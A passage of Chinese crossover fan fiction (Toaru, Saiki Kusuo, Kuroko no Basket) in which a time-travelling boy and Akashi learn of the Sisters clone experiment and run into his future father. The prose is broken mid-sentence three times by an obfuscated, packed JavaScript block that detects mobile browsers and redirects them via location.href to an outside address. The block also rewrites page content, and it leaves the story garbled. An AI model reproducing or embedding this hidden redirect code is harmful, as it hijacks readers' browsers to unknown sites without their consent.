面对赤司的揶揄,夏上有些坐立不安,只好扯出一个礼貌又尴尬的假笑,然后就不可思议地看到赤司嘴角扬起的弧度变幻了一下,多出几分微妙的味道,看起来真的很愉悦。 夏上:“……”得逞的表情不要表现得那么明显好吗? 但是赤司已经转换了话题,“先吃饭吧。” “选一个。” 一盒猪脚饭,一碗红烧排骨盖浇面。 按照赤司的说法,这里是都市设立的能力者救助站,专门收留无家可归的孩子,提供衣食和医疗便利。 “你还睡着的时候,我已经吃过了。”赤司说,“还不错。” “你怎么总像是魔法师一样,旁若无人地变出东西来?”夏上有些错愕,两个人是同时来到这个陌生环境里的,他也没少留意公共安全设施,却还是没赤司了解得细致。但他很快反应过来,这话似乎有些失礼,连忙一脸抱歉地把饭盒接过来。 开盖浓香。 被熏了一下夏上迟钝、混乱的大脑终于慢慢转过来,“那个女孩!我把她送到地标大厦对面的朗姆荞麦面店里去了,我得去……” 他话还没说完,赤司就把预备起身的他摁住了,“昨晚老夫妇俩正准备送去医院,撞上了来寻找走失女儿的家人,似乎是双胞胎的妹妹,把人领走了,估计已经得到及时的救治了。” 夏上悬着的心一下子“啪”地摔回肚膛。 他心中有一丝庆幸,于情,他并不希望一方通行成为杀人犯。 一方通行是与他无关的人,但夏上心里确实说不出的难过。 他虽然搞不清楚这个“过去”到底正在发生些什么,但生命是有分量的,杀人不能轻贱地像捏死了一只蚂蚁。他不想那孩子就此被杀死,也不想一方通行杀人。 但小熊先生很快又产生了新的疑虑,这种疑虑让他整个人都强烈地不安起来,“如果我们没有来,那孩子会不会……”会不会就此被虐杀?他一顿,“我们的行为会不会改变了历史?” 夏上说这话的时候,声音都在颤抖。 时空悖论他也知道一二,本以为作为一个透明的不存在的人旁观这个他还不存在的世界,现在他们插手干预了,未来会不会就此改变? “不用太担心。”赤司说,“历史走向是过去既定的、已发生的。过程中出现任何纰漏,它都会合理化修正。未来不会因此改变。” “相信大科学家吧。” 这话从他口中说出来总有些讽刺的意味,先前两个人还在争锋相对,此时赤司就大刺刺承认了齐木空助的才华,不免让人有些不习惯的错愕。 “更何况,说不定我们本就是过去的一部分。” 赤司淡然微笑着,用稀松平常的口吻说没什么了不得的,像是在说一件平凡普通的家常。 夏上迟疑地“哦”了一声,虽然内心依旧惴惴,但眼下也确实没理由在揪着此事纠缠。对方说的不无道理,看上去很不靠谱的齐木空助其实是个相当值得依赖的成年人。 他于是摇摇头,对自己莫须有的担忧自觉好笑起来。 赤司看着眼前这只斯文兔子甩着脑袋抛开烦恼,慢悠悠地撕开一次性饭盒的盖子,陡然又一百八十度大转弯,猛地想起什么似的,明明没吃东西却露出一副噎住的精彩表情,“诶诶诶!你怎么知道我把那个女孩子送到朗姆荞麦面门店的啊!” 他心想,兔子,迟钝的生物。 - 如夏上料想的那样,赤司和一方通行有短暂的交手。结局呢当然是…… “你对我有什么特别的期待吗?”赤司其实很有讲故事的天赋,言简意赅的表达倒是直入重点,他当时路过荞麦面门店,空降浑身是血的少女,将奄奄一息的生命托付给老夫妻二人,他用能力赶来了现场,成功空降……但是突然的发难又问得夏上猝不及防。 夏上正在认真吮红烧排骨上的褐色酱汁。 糖放多了,齁甜。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088940|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他实在是太饿了,将近一天一夜没进食,有点能果腹的真是的感恩戴德,凑合吧。也不管是不是符合身体需求,运箸如飞地往胃里填充。 这时候,他可就不是那么讨厌甜食了。 腮部撑得鼓鼓囊囊,夏上被问得莫名其妙,含糊道:“你不是lv5吗?” 言下之意,确实不需要担心战斗的胜率。 这下轮到赤司怔愣住。他有些无奈地望着夏上,“对面也是lv5啊。” “accelerator???” 不出所料地收获了拔高了两节的声音。 赤司觉得有些好笑,他也确实很想笑出来,实际上,他可能表情并没有他想象中的那么严密地控制住了,夏上马上朝他投来愤慨的目光。于是赤司飞快地用话术将他的“好笑”推上了一个无懈可击的制高点。 用反问。 “不然呢?你猜猜传说中的学园都市第一位是谁?” 夏上显然被冲击到了,他的眼睛瞪得滚圆,“我从来没听他说过啊……” 这孩子一副在记忆里翻江倒海,但却一无所获地失败了的震颤表情,细微的松动间可见茫然和不可思议。 “你不会以为真的存在同名吧。”赤司继续道。又是一击!完整的理所应当、合情合理的反推,“而且正面对抗的时候你应该也感受到那种强大的压迫感了吧。你好歹也是lv4啊。” 夏上彻底无话可说,这回连本人也懊丧起自己的迟钝。 大脑缓冲了数秒,夏上总算想起来关心人了。 如果说lv5无可置疑地把lv4摁在地上摩擦,lv5和lv5之间的战斗应该是相当激烈的,正面碰撞起来,怎么说也得天昏地暗、风云都为之色变的。 “赤司同学,那你、你没事吧?” 赤司道:“比起某个肋骨断了两根、四肢肌肉挫伤的人来说好很多。而且我看上去伤得很重吗?” 夏上:“……”对哦,完全能活奔乱跳地给他“端茶送水”来着。 赤司又不依不饶道:“而且我比较会自我保护,也不像某些大英雄,明明用着便利的超能力,却连自己的命都不要了。” 夏上:“……” 是在说他运用「坐标移动」把女孩子送走,自己留下来以血肉之躯拖住lv5行动的愚蠢行径? 这家伙完全是在把自己当笨蛋嘲笑啊,难得自己能关心他一次。 “所以我希望某些人在救助他人的同时,能多爱护自己一些。”赤司的神情沉静而认真,同龄人正以一种成熟的、循循善诱的口吻劝导他,“生命很珍贵,别人的是,自己的也是。” 夏上被数落地心里直抓狂。 他当然知道啊,他又不是不知道两者实力悬殊。可是他如果和那个女孩子一起走,一旦被追上,说不定谁都活不了。留下来,虽然人力微弱,但尚存一线生机。 在那个瞬间,大脑就擅自做出了这样的决定。 其实赤司并非是在教育。根据夏上不经意的透露,他似乎和accelerator相识,就在未来的某段时间,但是战斗的时候,小孩儿并未表现出懵懂和天真。铃科夏上,一个生活在和平年代的少年,本来此生都将与黑暗的争斗毫无关联,却在面对这些的时候,快速理解并接受,同时表现出坚毅的觉悟和强大的意志。 当时抵达现场的时候,为铃科夏上挑杀神明的气势所震撼,他设想的游刃有余的救场一时间都无法顺利开展,气势上就输了一大截。 也是正因如此,赤司才知道: 原来兔子也会咬人,原来兔子咬人只要打定主意就不会松口。 “不知道那个女孩子现在怎么样了呢,希望她赶紧康复。”全然不知情的夏上还在考虑病中探望他人的事,丝毫没有注意到赤司微妙的指尖震颤。 “嗯。”赤司帮忙收好空饭盒,“有缘的话,我们说不定会见到她的家人。” 夏上不解:“家人?” “嗯,她的家人。”赤司重复着,不予解答。 因为,「妹妹」御坂9821已经于昨夜死亡。 今天是8月11日,实验继续。 20. 第十九章 超能力者齐木楠雄从昨夜开始就觉得很不安。 上午,海藤拖着看起来也并不是那么情愿,实际上真的觉得很麻烦的上条当麻闯入他家门,邀请他去网吧三排。 不是,有谁会在早上八点出门去网吧打游戏啊! 真的不是上天特意安排来好让他触发什么事件的僵硬安排吗。 盛情难却下,为难的两个人甚至都拽不动热情的一个人,最终无奈妥协——说实话,他宁愿拎着鸟笼去公园转几圈,也不愿意来封闭空间吸二手烟。 嗯,实际上由于他本人的特殊性,超能力再一次被用来做造福人类的好事。 他坐在海藤和上条中间,充当起了人形过滤器。 塔防类游戏掌握起来并不难,但某些不可抗力因素比如游戏的机制实在难以恭维。 无所不能的超能力者黑着脸与自己的黑屏面面相觑,右上角的死亡次数已经达到了不可思议的十二次,而游戏才刚刚过去十六分钟。 海藤比他少死一次,至于正在大杀四方的上条,超能力者“呵”出一声,意外可靠呢。 但是天才救不了傻子,神救不了自己。 连输三把,第四把也回天无力的齐木楠雄感觉到来自游戏世界的恶意,以及深深的挫败感。 俗话还说人的悲喜并不相通。 齐木“耐着性子”在泉水等待复活,对面开局和他打对抗路的维克多已经在高地开始胜利前的舞蹈狂欢了,这家伙的操作十分离谱,一套技能打得丝滑又绚丽,还能持续输出,进场出场如入无人之地,很难让人不怀疑他是王者来青铜局炸鱼的。 必输局,腿都快被抱烂了的上条当麻没什么精神地靠在椅背上往喉咙里倒气泡水,黑白色的界面公屏上ID为「嫌いな」的机械先驱维克多,在又一个干脆利落的三杀后发出消息。 【hhh】 【私は神だ】 讨厌甜食? 我是神? 齐木楠雄血压暴涨。 「下把邀他!」 已经想好待会儿怎么脱身去快乐摸鱼的上条当麻,猝不及防地迎来了无法推辞的下一把游戏的,“诶?” 谁懂!他只是想在假期末找个范本借鉴一下暑假作业而已。 痛失自主时间的上条当麻默默流泪。 - 公屏嘚瑟完,夏上可谓一整个神清气爽。 虽然他是第一次玩这个游戏,但最初送了两波人头后就快速上手了。 就连赤司还在艰难地“收菜”,理论分析游戏机制,他已经游刃有余地在实践中展现出自己的天降才华。 “杀杀杀——” “塔可以不推,人杀光。” 网吧大厅里人声嘈杂,铃科夏上的声音从耳机里传过来,有些失真,但更显稚嫩,前提是他说的不是这么“残暴”的话。 赤司只好跟着夏上疯狂冲锋,一个ad英雄,卢锡安一个e一个闪现跳进人群,被对面锤石一钩,果不其然地被泉水的射线打死。这款游戏在他们那个时代已经是市场边缘的背景板了,但在过去,正值巅峰时期,刺激的打法和团队合作的模式大受欢迎,年轻一代里,大半都有游戏账号。 因为过去的风靡一时,他对这款游戏的规则还是具备基础了解的,可即使如此,也没有夏上能操作得起来。 该打的伤害打不出,不该抗的刀他全抗。队友几个各秀各的,只有他挨揍。 这就是心态吗,永远年轻,永远战无不胜。 ——就算通宵也精力旺盛。 赤司偏过头去看夏上叼着珍珠奶茶的吸管紧随其后地牺……啊不是,打出一个团灭,心中慨叹横生。 “赢啦,不愧是我!”小朋友正为了自己人生当中第一个货真价实的“victory”而热烈欢呼,赤司却有些汗颜地暗擦一把:要说为什么,刚才这个会下意识觉得别人年轻的想法是真危险啊。 铃科夏上本人并不是一个无节制地到处交朋友的人。但游戏里认识的陌生人,还是主动加他好友的,对他意义重大。凡事头一次都是无比特殊的,夏上也是专注于这种仪式感的存在。 加他的人叫「砂糖を含まない」。 无糖不欢?看起来好像和他有些天性不合。但是爱好嘛,各有钟情之物。 夏上不是很在意,点了好友申请同意。 「砂糖を含まない」秒戳他。 【先说一句】 【咖啡果冻第一】 夏上:“……” 不加标点的文字看起来语气十分平淡,但这奇怪的熟悉感是怎么回事? 邀请一个进来两个,齐木小白看着瞬间形成的五人小队不是很明白,为什么报仇雪恨的初衷,会被扭转成化干戈为玉帛的不计前嫌。 「嫌いな」:^^ 「嫌いな」:开吗? 看着对话框言笑晏晏的仇敌先生,齐木说了句开,反手帮他把维克多禁了。 「嫌いな」:维克多确实挺厉害的。 「嫌いな」:这把我玩射手吧。 神经大条吗?齐木楠雄有些难以克制地较起真来。他很少失控,但冥冥之中总有种奇怪的竞争感操纵着他与其对峙。这可恶的胜负欲。 「漆器」:连麦 漆黑之翼先生看起来是个中二病,但讲话意外的简洁呢。夏上按其所说开了队内语音,打开的一瞬间,听到耳麦中那声熟悉的“喂”,他陡然抖了个机灵,等等,这个世界上还有第二个人叫这花名的吗? 小朋友突然噎住。 《死去的珍珠奶茶突然攻击我》 “坏了!”夏上手忙脚乱地切了语音。 漆黑之翼只有一个人。他那个海藤叔,中二病时灵时不灵,看起来这么高冷也是有原因的,主要是懒得打很多字啊,这时候就被迫表现得很成熟了。 而用脚趾头想,能跟漆黑之翼呆一块儿的,只有那个「狂暴嗜血者」啊。 那说辞,那口吻,可不就是他过去十四年的日常吗! “什么啊。”赤司有些不明所以,网吧标配的粉色猫耳朵耳麦带在他头上显得其整个人都幼态许多,误认为是电脑屏幕出现了什么问题,赤发的少年滑着电竞椅凑过来想一探究竟,绯色的眸子里一片迷茫。 隔着缭绕的烟雾,赤司清楚地看到铃科发颤的瞳孔,那里头盛放着不可思议的微芒。 好像在为什么而苦恼,但却并不是什么委屈或者痛苦的情绪表达,赤司心软地抬手帮他捋平,因为玩得太酣畅而被汗水打湿了的额发。 小朋友只是一个劲儿地朝他嘘声。 “刚才就已经关掉了哦。”赤司回答。在考虑不打扰别人不让别人感到困扰这方面,他天赋异禀。 夏上瞬间松弛的表情看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他憋了半天,绿灯亮的时候,他才感觉心里好像有点通明,心里话一口气往外倒,“跟长辈称兄道弟本来就很别扭,而且如果是以做朋友的态度和他相处的话,势必毫无保留,说什么做什么都好像是在不尊重他一样……总的来说就是我心理上过不去这关!” 也是。赤司征十郎脑袋里冒出赤司征臣的脸,深表赞同。 他的父亲一贯秉持着暴力独裁的作风,总在给他下很多强制性的要求,习惯性地将一沓文件七零八落地甩到他脸上。而那张面具上的表情,要么是冷漠麻木的,要么是怒不可遏的。 当然最让他觉得冷酷的,是赤司征臣皮笑面不笑的双面做派。 “明天就要参加长点上机的一般入试了,你打算怎么样?” 问得好。 他想吃汤豆腐。 他想去沿河的公园走走,吹吹风。 最重要的是,他想要看看那个孩子,看看那个陪他出生,却没有陪他长大的孩子的不同人生。 但胜利是个任务,是个理所当然、必须实现的任务。 所以他的回答,只有唯一选项。 ——我会做到最好。 他的成长其实就是一场漫长的拉锯战,持续性的消耗比拼的就是忍耐力和心理防线的薄厚。家庭中的亲代子代互相试探对方可接受的底线,武力震慑,阴奉阳违,没有呐喊声,却处处是硝烟。 在得知他最终选择了一所普通高校后,赤司征臣的怒火铺天盖地,盛大地仿佛要将他撕毁。 从前他和赤司征臣总是价值认同一体化的。他不知道自己走出的这一叛逆之步是好事还是坏事,但最起码,这是他第一次违背父亲的意志。虽然现在的他和现在的赤司征臣并不能相互理解。 21. 第二十章 到了中午,超能力者齐木楠雄依旧没有找到骚扰他情绪的来源。 打完游戏回到家已经是十点半。拜「嫌いな」先生临阵脱逃的行为所赐,没能够一雪前耻的齐木楠雄那郁结在心中的挫败感并没有得到一个正确的抒发,他不得不在回家路上多花了300日円买咖啡果冻自我弥补。 当然,如果没有看到餐桌上父母留下的纸条的话,一个咖啡果冻确实够了。 「爸爸和妈妈去游乐园进行第一千三百八十四次约会了哦,小楠自己解决午饭吧!」 啊啊,请问这对夫妇,这个月你们有几天不抛弃孩子在外卿卿我我啊。虽然是超能力者,但对于父母施行的这个本该习以为常的放养策略,还是略有些小脾气的。即使是如此,齐木楠雄最终还是冷静、从容且一如既往地留下了自己的笔迹: 「了解。」 说来他本人并不是会做饭的人,不同种类的调料分清楚还得靠超能力,下厨更是想都不要想。 于是「自己解决午饭」的唯一指定内涵即为外出吃饭。 荞麦面其实并非餐饮对象的首选,但他一向喜欢口感丝滑的食物,包括不仅限于甜品,加之这家店的店主手艺好到让他愿意频频做回头客,所以走进店门也是顺理成章。 然后他就听到某人内心的尖叫。 谁家水壶开了? - 铃科夏上真的没想到会在这里遇到齐木楠雄。 十分钟前,他还在抱怨自己帮工海藤被举报当童工的糗事,对比说原来十年前的学园都市还是很人性化的,虽然每周有工作时长的限制,但最起码可以提供一份赖以谋生的工作,不会让他们在无亲无故的陌生土地沦落到沿街乞讨的地步。 “其实也是可以进行社会求助的。”赤司笑笑。 赤司低着头摆弄盘子,赤色的刘海一遮,便只能看到一颗圆圆的鼻尖和嘴角翘起的漂亮弧度。 夏上看着赤司着装整齐的服务员打扮,尖领制服在他身上也穿出了一种自信成熟的感觉。永远风度翩翩,永远有着自我生命的独特质感——这就是财阀继承人自带的光辉吗? 伴随着老板夫妇热情的招待声,门开了,小孩儿向后看去。 即将脱口而出的“欢迎光临”在舌尖打了个转,生生被咽回肚里。 一个挺拔的少年里面穿件白色的圆领内搭,外头敞怀套了件鹅黄色的短袖外套,绿色的镜片包裹着一双夏上闭着眼睛都能描绘出来的眼尾形状。当然还有其标志性的浮夸的粉色街机游戏棒。 他的父亲看上去很年轻,不笑的时候眼尾就跟刀勾似的,有点难以接近。 「一份羊肉荞麦面。」 少年自然而然地点单,不经意间移开目光,向夏上和赤司这边眯眼看过来。 小朋友瞬间寒毛直竖。 “谁……” 赤司还没来得及顺着夏上的视线看见这令对方愕然的不速之客,就被夏上摁着脖颈后的皮肉,塞进后厨。小朋友一门心思地想在那浮夸得熟悉的存在面前抹消自己的存在感,根本无暇顾及自己的冒失行为,压低了声音在赤司耳边吹热风,“看我摆盘,别回头。” - 很好。 齐木楠雄在走进这家荞麦店的瞬间找到了一直困扰着他,莫名攻击他的情绪的来源。 哦,原来是他未来的儿子穿越到十四年前寻亲来了。 看起来还挺不想看见他的。 那没事儿了。 在齐木楠雄的字典里,其实是没有做父亲这个选项的。 就算超能力者本人并不是完全排斥人情世故,也能够预见到人类发展的大趋势就是繁衍,但他实在没有做好自我牺牲的准备。 用吃咖啡果冻的时间来养娃?想都不要想。 因而在见到这个素不相识的便宜儿子时,齐木是震惊的。 虽然他的表现大概率显得好像是有等于没有一样,但内心的风暴已经快把他这艘小船打翻了。 而排除一切麻烦的育儿条例,齐木目前甚至都没有建立起理想女性的标准。他实在是难以想象,能够和他结合,相互认可,并且共同抚育一子的女性该是怎样的人。要说共同点的话……最起码得喜欢甜品吧。 什么?真实情况是他俩早早离婚,儿子单亲家庭,他含辛茹苦地独自带大一个娃?这个娃既没有继承他的爱好也没有继承他的基因? 哦呼! 等等,为什么他自己养的儿子会不喜欢甜品? 这顿饭食之无味。 作为超能力者总是在掌控全局的,但并不意味着他喜欢被剧透。推理电影就算了,问题是这可是涉及到自身未来走向和人生命运啊,他完全拒绝偷跑“物料”! 所以这场父子相见的再放送戏码,轮到齐木楠雄选择了逃跑。 嗯,之后注意回避,生活一定会回归到平常的…… 平常个毛线球啊! 下午陪着在游乐园吃坏肚子的国春先生去医院,在挂号的队伍当中又看到了某道熟悉的身影的时候,超能力者真的忍不住了:「怎么又是你?」 梅开三度,齐木楠雄很绝望。 突然被点名的夏上恨不得以头抢地。天哪,不会被当做变态跟踪狂了吧,他爸真不愧是做研究员的,见过一面的人和事都记得清清楚楚,这敏感度真是……铃科夏上一秒钟叹十口气,面对来自父亲的正面威压,他把赤司推了出来,“我朋友他肠胃炎,我陪着来看病的。” 借口拙劣,齐木楠雄很无奈。 看来做儿子的并不知道父亲拥有窥探人心的超能力啊。不然就不会在心声中语速如飞地为自己的谎言而道歉了,虽然生病是真,但你似乎也并不排斥这样的偶遇啊,白天不是还想着虽然不想和自己做朋友,但希望跟着自己找到母亲吗? 儿子直播看父母爱情,身为当事人果然感觉很诡异== 能把他送回正确的时间线吗?齐木楠雄心随意动,迅速拟定好无数种可能性,但一万种方案似乎没有一种是周全的。送别人穿越时空会冒着很大的风险,危及生命也不是不可能。虽然是素不相识的便宜儿子,但未来的自己肯定并不希望小朋友受到伤害,“回家计划”似乎只能搁置。 未来倒是个哪个傻逼把这家伙送过来的? 不过看对方并没有半途而废,自主放弃的打算,只能放任他就这么跟着自己? 说实话齐木楠雄并非是对未来结婚对象能够一见钟情的类型。 也就是说……齐木楠雄突然更绝望了。这个行走的剧透机不会跟在他身边目睹着他完成整个爱情长跑吧? 好吧,如果一定要挽回事态,就允许他带上锗石戒指。 剧!透!达!咩! - 畏寒这个特质在铃科夏上身上表现得淋漓尽致。他不愧是夏天生的孩子,一有点风吹就能激起他满身的鸡皮疙瘩——今晚的学园都市风大得怪异,巨大的扇叶旋转着,扇面上啪啪闪着稀碎的电流。远处还有轰隆隆的雷声,白光劈过,亮了一片天。 “这天气满三十度减十五度吧。” 台风要来了吗?没听说啊。风把油绿的树叶吹着满地跑,夏上扯着袖子顶着风艰难前进,沉重的脚步砸在叶片上,踩出一连串的沙沙声。 荞麦面门店提前关门。今晚的天气实在是恶劣,店主夫妇嘱咐他们回去的路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088942|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上小心点。 外头漫天漫地飞舞着生活垃圾或是杂物,境况复杂,「坐标移动」的计算难以进行。他们只能选择步行回去。 风最大的时候,他们钻进人流密集的地下街,在那儿躲了一会儿,Lv5摘下口罩露出口鼻呼吸温暖的空气。 这里是学园都市的地下血管,横穿这个庞大的□□,错杂又繁复。 第一次来,他俩迷路了半小时才勉强出去,结果还搞错了通行方向,多走了二里地。 赤司的脸色还是有些不好,肠胃比他本人娇贵些。年轻的继承人还不太适应崭新的作息,两个人斥“巨资”购入一件外套扛冻。出来时风太大,夏上把他裹得严严实实,红发少年在过路的行人中突兀地像只皮毛厚实的小熊——嗯,他才应该叫赤司小熊,夏上这样想。 但说来也奇怪,凡是自然的东西都是缓慢的。这风虽大,悬于头顶的乌云却转瞬即逝,电闪雷鸣似乎也是短暂一现。 没过多久,连风也停歇。 于是他们就从地下街冒出头,流浪青少年收容所很早关门,再拖就要麻烦宿管先生了。 月亮藏匿进云里。生来贫苦固然叫人悲伤,但由奢入俭更觉凄凉。如果说能够让夏上瞬间提起精神,燃烧起火焰的,莫过于突然出现的少女。少女拥有着茶色的头发,穿着他万分熟悉的女高制服,白色的发卡固定住耳边的碎发。 与血淋淋的模样不同的是,健康的面容是不修边幅也很俏丽的。 仔细来看的话,通红的眼圈像是哭过一样,却流露出绝不服输的坚毅眼神。 这不是之前那个奄奄一息的少女嘛。 夏上追过去,他并不擅长和女孩子搭话,因而听起来显得磕磕绊绊,像是哪儿冒出来的不自量力的纯情小子,“是你啊。你现在恢复得怎么样?” 回答他的只有对方迷茫的目光。 御坂美琴打量眼前这位不速之客,确定她并没有记性差到忘记某位旧友,“你是……” 走近了,夏上才看清少女驮着什么。那也是一位年龄相仿的女孩子。两个人穿着差不多,发色也差不多,从远处看云云一色。 而挂在御坂美琴身上的少女恰巧于此时睁开了眼睛。 她很虚弱,喘息着开口。那目光相较于还有行动能力的一位,显得空洞。 “我原本打算完成实验后,再当面感谢你的出手相救。御坂认出了恩人,如是致歉。”少女看上去很疲惫,拿低垂的眸子强撑着礼貌地投来注视,小腿发着抖,显然也已经体力耗尽。支撑着她身体的另一位也并非全然元气满满。 那个年长一点的少女似乎确实不认识他,如赤司所说,两人是姐妹关系,好像说是双胞胎来着。诶?那个看着更为聪明、成熟的女孩子居然是妹妹吗? “等、等一下,你身体没事吧?” “没事的,一些轻伤。御坂多谢你的关心。” 可是,很奇怪。不对,不对。 她的伤…… 好得也太快了。 从体表几乎看不到伤口,除了细微的擦伤,□□上就只沾染了灰扑扑的尘土。 可那天晚上少女的□□已然支零破碎,大片大片的血渍下方都是烂肉,触目惊心。更不消说折断了多少骨头。 他断了两根肋骨也还卧床一周才开始活动。对方伤成那样子,怎么可能恢复得这么快? “到底是怎么回事?” “你的身体……我那天明明看见你……” “那天吗?原来你问的是这个啊。御坂了然。”回答他的是一成不变的冷淡语调,温和但生疏,“看你着实苦恼,御坂决定如实回答。御坂已经死了。” 22. 第二十一章 “死了???那你……” 任何语言都无法描绘出夏上内心的震颤。他的喉咙像沙漠一样干。 铃科夏上下意识地回头看赤司,这回他注意到年轻的lv5脸上一掠而过的异样神情。赤司并不擅长掩盖慌乱,要论这个,撒谎的时候大概已经是他的演技巅峰了。 “你,知道她?”御坂美琴皱眉。 不等回答,她就飞快地摆明了态度,“抱歉,我不知道你见到的是哪个孩子,如果带给你什么不好的印象的话,为了你自己好,希望你能尽快忘掉。” 她在少年不明所以的错愕目光中又想了想,还是回答道,“嘛,不过也就是量产超能力者计划……而已。反正现在实验已经失败了,似乎也没什么保密的必要。我这个擅自破坏别人善意谎言的人,多少得对这糟糕的烂摊子负起责任吧。” 夏上看向「妹妹」。 “我是御坂,与你接触的那位也是御坂。那位御坂的序号为no.9821,顺带一说,我的序号为no.10032。” “顺带一说,我的序号为no.10136。” “顺带一说,我的序号为no.18052。” “顺带一说,我的序号为no.14974。” …… 像复制粘贴一样,从大街小巷的各个角落里涌现出无数个一模一样的「妹妹」。 “你、你们到底是谁?” “学园都市只有七位lv5,我是以姐姐大人的细胞量产而成的军用复制模组,也就是妹妹们。目前正在参与‘一方通行的绝对能力者进化’计划。我们的主要任务就是构建不同的战斗平台,利用网络记忆共享,经过两万次的学习进化,成长到能够威胁学园都市第一位的程度,以帮助他完成lv5到lv6的跨越。” lv6?他记得似乎在父亲的文件中看到过类似的描述。 “这项计划……” “计划将无限期停止。感谢你的出手相助,虽然那孩子的结局不尽如人意,但好在,一切,目前都暂告一段落了……”御坂美琴说,“就这样,再见。” 少女们离开了。 铃科夏上眉头紧皱,握了握拳,他内心有股没有由头又不知如何发泄的愤怒。他是聪明的孩子,每一个见到他的老师或者长辈都这么夸赞过他。这一刻,他前所未有地清晰认知到,学园都市有着太多未知的领域,黑夜是这样的危机四伏。 他问赤司:“你早知道?” 红发少年点点头,“略有耳闻。” 夏上道:“死去的,只有她一个吗?” 赤司道:“实验是通过两万次的实战促进对方能力的另类开发,直到「妹妹」停止活动……根据记录,有10031个「妹妹」在这项实验中丧生。” 虽然听到那些数字编号的时候已经略有猜测,但当死亡人数赤裸裸、鲜血淋漓地摆在他的面前的时候,夏上还是忍不住怯懦了。那不是冰冷的符号,每个符号的背后都是生命。天人交战的纠葛,仿佛要将他杀死。 他深吸了一口气。 “我之前说过吧。” “未来的accelerator曾经帮助过我,我天然地为他过去的行为找寻借口,为他作辩护。我有过很坏的念头,就算确认了他在此之前杀过人,我设想过自己说不定都会‘原谅’他。” 算是自作多情吧。正因自认为关系还不错,他其实感情上很偏向于一方通行,即使遭受了一番非人般的殴打,他也在擅自给对方找些被迫这么行动的理由。而这里的原谅其实并非是越俎代庖的恶劣行径,而是寻求一种心理的平衡,在摇摆位上,达成‘知道真相又如何,唯有接受’的退让。 “那其实不对。”夏上摇摇头,“好在我没法做到。人不会因为熟悉而理解他人。” “做什么都是有理由的,但这么做了,就是他的问题。” 铃科夏上面无表情地看向这座无边无际的钢铁森林,嘴唇抿得很紧。 明明心如明镜,可他真的很后悔。他从未这么后悔过提出见一见母亲的请求,本来在岛屿上安静等待父亲来接他就行了。那天之后就是正式开学的日子,他可以由此开启自己美好的高中生涯,中午回家和父亲说几句稀松平凡的家常话。 更重要的是,他身边的所有人都是伟岸光明的,他不用被迫地看到他们人性的弱点和性格的阴暗面。 ——好想回家。 ——好像逃走。 说实在话,今夜月色实在黯淡。 以至于铃科夏上的颓丧倒很是应景,也以至于赤司根本说不出来安慰的话,“未来的理事长先生,终其一生都在找寻救赎之道。” 铃科夏上无法直视「妹妹们」的尸骸,生命有着无上的伟力和无可比拟的价值。他也无法站在事理之外对一方通行轻飘飘说一句“恶魔去死”,谁能说迟来的反省是假惺惺的轻贱? 无法这个世界的扭曲是他痛苦的根源。 “我知道他之后肯定后悔了,不然我见到的也不会是那样的accelerator,遇到我之前,他为此做出多少弥补的措施也说不定。可问题是,已经伤害了,你能说那些伤害从未存在吗?” 夏上知道自己陷入了一种思维怪圈。 他对自己钻牛角的不懈努力心知肚明,但却对自己为何会如此在意accelerator而感到不知所措,“已经杀害了一万个人,哪怕救下一万个人也不可能获得满足。铸下大错后的寻求救赎,就像是一个裹着希望外壳的绝望黑洞。” 空虚永远无法填补,寂寞亘古存在。 永远不知餍足。 似乎是对的。 但你能因为没有结果而选择不去做吗?因为不可能得到救赎而放弃这一线天光吗?人生就是这样,错位的幻觉看起来多么不堪一击,可最重要的是结果必然存在的意念和理想终将达到的期待。 “我想,有句话很对。但进前而勿顾后,愿背黑暗而向光明。”赤司回答,“做什么都是他的选择。” 温柔建立在对世界有清醒认知的基础之上,没有风骨的温柔不值一提的低劣。 夏上倏然惨笑,“对啊,跟我又有什么关系呢?”那笑容实在不好看,僵硬、枯萎……笑得像哭一样。 他跟我是什么关系,我要替他忧虑前路? 我就做一粒单细胞去宣泄我的憎恨和唾弃好了。夏上自暴自弃地想。他可从来都不知道自己是个共情心这么强的孩子,为了别人的生命而痛惜,为了别人的人生而担忧,在这种不可调和的撕扯中消耗情绪。 但他就是好想哭,就是好想以这种方式释放心中的痛苦。 铃科夏上抓着赤司的衣摆,一个劲儿地揉自己酸胀的眼角,可是泪腺似乎已经丧失了流泪的功能,硬是挤不出一滴眼泪,情绪憋闷着无法宣泄,连哽咽都发不出音,他一个接一个地打嗝儿。 呕吐来得理所当然。 夏上趴在垃圾桶旁边吐得昏天黑地,吐到胃袋空空如也,吐到只能搜刮些透明的粘液,吐到口鼻处糊满了苦水,呼吸困难。 可这么难受了,他依旧哭不出来。 「你是一个认命的人吗。」 记忆里粉色头发的男人沉静地看着鼻子通红、忙不迭揉眼睛,生憋着不哭的小男孩。父亲永远是宽和的,永远是冷静的,永远是坚定的。仅仅是看着那张脸,年幼的他就会心生出无尽的继续坚持的力量。 「看到柠檬怪向改造汽水侠十四号歇斯底里地控诉自己已经走上了一条绝路,空有悔恨却无法回头,就这么让你觉得伤心吗?」 「看到柠檬怪这么努力地改过自新,却被一次次推回黑暗,就这么让你觉得悲哀吗?」 “我才、才不是。” 